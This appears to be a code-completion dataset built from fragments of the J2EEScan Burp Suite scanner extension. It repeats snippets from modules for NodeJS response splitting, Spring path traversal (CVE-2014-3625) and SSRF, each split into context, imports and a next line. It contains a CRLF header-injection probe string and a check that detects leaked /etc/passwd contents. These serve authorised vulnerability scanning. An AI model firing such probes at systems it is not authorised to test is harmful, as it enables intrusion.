// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java
import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
package burp.j2ee.issues.impl;
/**
*
* Test for NodeJS Response Splitting
*
* Reference:
* https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/
* http://blog.safebreach.com/2016/02/09/http-response-splitting-in-node-js-root-cause-analysis/
* http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf
*
*/
public class NodeJSResponseSplitting implements IModule {
private static final String TITLE = "NodeJS Response Splitting";
private static final String DESCRIPTION = "J2EEscan identified a vulnerable installation"
+ " of NodeJS. A Response Splitting vulnerability has been found.<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "http://info.safebreach.com/hubfs/Node-js-Response-Splitting.pdf<br />"
+ "https://nodejs.org/en/blog/vulnerability/february-2016-security-releases/";
private static final String REMEDY = "Update the software with the last security patches";
private static final byte[] NODEJS_INJ = "%c4%8d%c4%8aInjectionHeader:%2020%c4%8d%c4%8a".getBytes();
private PrintWriter stderr;
@Override
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"NodeJS detected",
protocol,
host)) {
return issues;
}
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
IResponseInfo respInfo = helpers.analyzeResponse(response);
| if (getResponseHeaderValue(respInfo, "InjectionHeader") != null) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List; | List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"NodeJS detected",
protocol,
host)) {
return issues;
}
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
IResponseInfo respInfo = helpers.analyzeResponse(response);
if (getResponseHeaderValue(respInfo, "InjectionHeader") != null) { | // Path: src/main/java/burp/HTTPParser.java
// public static String getResponseHeaderValue(IResponseInfo responseInfo, String headerName) {
// headerName = headerName.toLowerCase().replace(":", "");
// for (String header : responseInfo.getHeaders()) {
// if (header.toLowerCase().startsWith(headerName)) {
// return header.split(":", 2)[1];
// }
// }
// return null;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/NodeJSResponseSplitting.java
import static burp.HTTPParser.getResponseHeaderValue;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL url = reqInfo.getUrl();
String host = url.getHost();
String protocol = url.getProtocol();
// skip if the NodeJS has not been found on the system
if (!IssuesHandler.isvulnerabilityFound(callbacks,
"NodeJS detected",
protocol,
host)) {
return issues;
}
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(NODEJS_INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
byte[] response = checkRequestResponse.getResponse();
IResponseInfo respInfo = helpers.analyzeResponse(response);
if (getResponseHeaderValue(respInfo, "InjectionHeader") != null) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/BurpExtender.java | // Path: src/main/java/burp/j2ee/PassiveScanner.java
// public class PassiveScanner {
//
// /**
// * List of passive rules
// */
// static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),
// new ExceptionRule(),
// new HttpServerHeaderRule(),
// new SqlQueryRule(),
// new ApacheStrutsS2023Rule(),
// new JettyRule(),
// new SessionIDInURL(),
// new JSPostMessage(),
// new SessionFixation(),
// new LiferayRule()
// };
//
// public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse,
// IBurpExtenderCallbacks callbacks) {
//
// IExtensionHelpers helpers = callbacks.getHelpers();
//
// byte[] rawRequest = baseRequestResponse.getRequest();
// byte[] rawResponse = baseRequestResponse.getResponse();
//
// IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// IResponseInfo respInfo = helpers.analyzeResponse(rawResponse);
//
// //Body (without the headers)
// String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset());
// String respBody = getBodySection(rawResponse, respInfo.getBodyOffset());
//
// String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server");
// String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type");
// String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By");
//
// for(PassiveRule scanner : PASSIVE_RULES) {
// scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo,
// httpServerHeader,contentTypeResponse, xPoweredByHeader);
// }
//
// }
//
//
// private static String getBodySection(byte[] respBytes, int bodyOffset) {
// return new String(respBytes, bodyOffset, respBytes.length - bodyOffset);
// }
// }
| import burp.j2ee.PassiveScanner;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLDecoder;
import java.sql.SQLException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.jar.JarEntry;
import java.util.jar.JarFile; | try {
j2eeDBState = File.createTempFile("burpsuite-j2eescan-state", ".db");
stdout.println("Using temporary db state file: " + j2eeDBState.getAbsolutePath());
stdout.println("This internal state is used to avoid duplicate infrastructure security "
+ "checks on the same host, improving the scan performance");
connectToDatabase(j2eeDBState.getAbsolutePath());
} catch (IOException ex) {
stderr.println(ex);
} catch (SQLException ex) {
stderr.println(ex);
} catch (ClassNotFoundException ex) {
stderr.println(ex);
}
alreadyExecutedModule = new HashSet<>();
// register ourselves as a custom scanner check
callbacks.registerScannerCheck(this);
}
//
// implement IScannerCheck
//
@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
List<IScanIssue> issues = new ArrayList<>();
| // Path: src/main/java/burp/j2ee/PassiveScanner.java
// public class PassiveScanner {
//
// /**
// * List of passive rules
// */
// static PassiveRule[] PASSIVE_RULES = {new ApacheTomcatRule(),
// new ExceptionRule(),
// new HttpServerHeaderRule(),
// new SqlQueryRule(),
// new ApacheStrutsS2023Rule(),
// new JettyRule(),
// new SessionIDInURL(),
// new JSPostMessage(),
// new SessionFixation(),
// new LiferayRule()
// };
//
// public static void scanVulnerabilities(IHttpRequestResponse baseRequestResponse,
// IBurpExtenderCallbacks callbacks) {
//
// IExtensionHelpers helpers = callbacks.getHelpers();
//
// byte[] rawRequest = baseRequestResponse.getRequest();
// byte[] rawResponse = baseRequestResponse.getResponse();
//
// IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// IResponseInfo respInfo = helpers.analyzeResponse(rawResponse);
//
// //Body (without the headers)
// String reqBody = getBodySection(rawRequest, reqInfo.getBodyOffset());
// String respBody = getBodySection(rawResponse, respInfo.getBodyOffset());
//
// String httpServerHeader = HTTPParser.getResponseHeaderValue(respInfo, "Server");
// String contentTypeResponse = HTTPParser.getResponseHeaderValue(respInfo, "Content-Type");
// String xPoweredByHeader = HTTPParser.getResponseHeaderValue(respInfo, "X-Powered-By");
//
// for(PassiveRule scanner : PASSIVE_RULES) {
// scanner.scan(callbacks,baseRequestResponse,reqBody,respBody,reqInfo,respInfo,
// httpServerHeader,contentTypeResponse, xPoweredByHeader);
// }
//
// }
//
//
// private static String getBodySection(byte[] respBytes, int bodyOffset) {
// return new String(respBytes, bodyOffset, respBytes.length - bodyOffset);
// }
// }
// Path: src/main/java/burp/BurpExtender.java
import burp.j2ee.PassiveScanner;
import burp.j2ee.annotation.RunOnlyOnce;
import burp.j2ee.issues.IModule;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLDecoder;
import java.sql.SQLException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
try {
j2eeDBState = File.createTempFile("burpsuite-j2eescan-state", ".db");
stdout.println("Using temporary db state file: " + j2eeDBState.getAbsolutePath());
stdout.println("This internal state is used to avoid duplicate infrastructure security "
+ "checks on the same host, improving the scan performance");
connectToDatabase(j2eeDBState.getAbsolutePath());
} catch (IOException ex) {
stderr.println(ex);
} catch (SQLException ex) {
stderr.println(ex);
} catch (ClassNotFoundException ex) {
stderr.println(ex);
}
alreadyExecutedModule = new HashSet<>();
// register ourselves as a custom scanner check
callbacks.registerScannerCheck(this);
}
//
// implement IScannerCheck
//
@Override
public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) {
List<IScanIssue> issues = new ArrayList<>();
| PassiveScanner.scanVulnerabilities(baseRequestResponse, callbacks); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; |
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// Skip not GET requests
if (!reqInfo.getMethod().equals("GET")) {
return issues;
}
URL url = reqInfo.getUrl();
String currentPath = url.getPath();
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
byte[] rawrequest = baseRequestResponse.getRequest();
String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest);
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
callbacks.getHelpers().stringToBytes(mutatedHTTPRequest));
| // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// Skip not GET requests
if (!reqInfo.getMethod().equals("GET")) {
return issues;
}
URL url = reqInfo.getUrl();
String currentPath = url.getPath();
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
byte[] rawrequest = baseRequestResponse.getRequest();
String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest);
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
callbacks.getHelpers().stringToBytes(mutatedHTTPRequest));
| if (isEtcPasswdFile(checkRequestResponse.getResponse(), helpers)) { |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; | stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// Skip not GET requests
if (!reqInfo.getMethod().equals("GET")) {
return issues;
}
URL url = reqInfo.getUrl();
String currentPath = url.getPath();
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
byte[] rawrequest = baseRequestResponse.getRequest();
String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest);
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
callbacks.getHelpers().stringToBytes(mutatedHTTPRequest));
if (isEtcPasswdFile(checkRequestResponse.getResponse(), helpers)) { | // Path: src/main/java/burp/HTTPMatcher.java
// public static boolean isEtcPasswdFile(byte[] response, IExtensionHelpers helpers) {
// final byte[] PASSWD_PATTERN_1 = "root:".getBytes();
// final byte[] PASSWD_PATTERN_2 = "bin/".getBytes();
// List<int[]> matchesPasswd1 = getMatches(response, PASSWD_PATTERN_1, helpers);
//
// if (matchesPasswd1.size() > 0) {
// List<int[]> matchesPasswd2 = getMatches(response, PASSWD_PATTERN_2, helpers);
// if (matchesPasswd2.size() > 0) {
// return true;
// }
// }
//
// return false;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/PivotalSpringTraversalCVE20143625.java
import static burp.HTTPMatcher.isEtcPasswdFile;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
stderr = new PrintWriter(callbacks.getStderr(), true);
List<IScanIssue> issues = new ArrayList<>();
IExtensionHelpers helpers = callbacks.getHelpers();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
// Skip not GET requests
if (!reqInfo.getMethod().equals("GET")) {
return issues;
}
URL url = reqInfo.getUrl();
String currentPath = url.getPath();
for (String staticResourceFolder : staticURLFolders) {
if (currentPath.contains(staticResourceFolder)) {
byte[] rawrequest = baseRequestResponse.getRequest();
String HTTPRequest = callbacks.getHelpers().bytesToString(rawrequest);
String mutatedHTTPRequest = mutator(HTTPRequest, staticResourceFolder, staticResourceFolder + INJ);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(),
callbacks.getHelpers().stringToBytes(mutatedHTTPRequest));
if (isEtcPasswdFile(checkRequestResponse.getResponse(), helpers)) { | issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/JavascriptSSRF.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
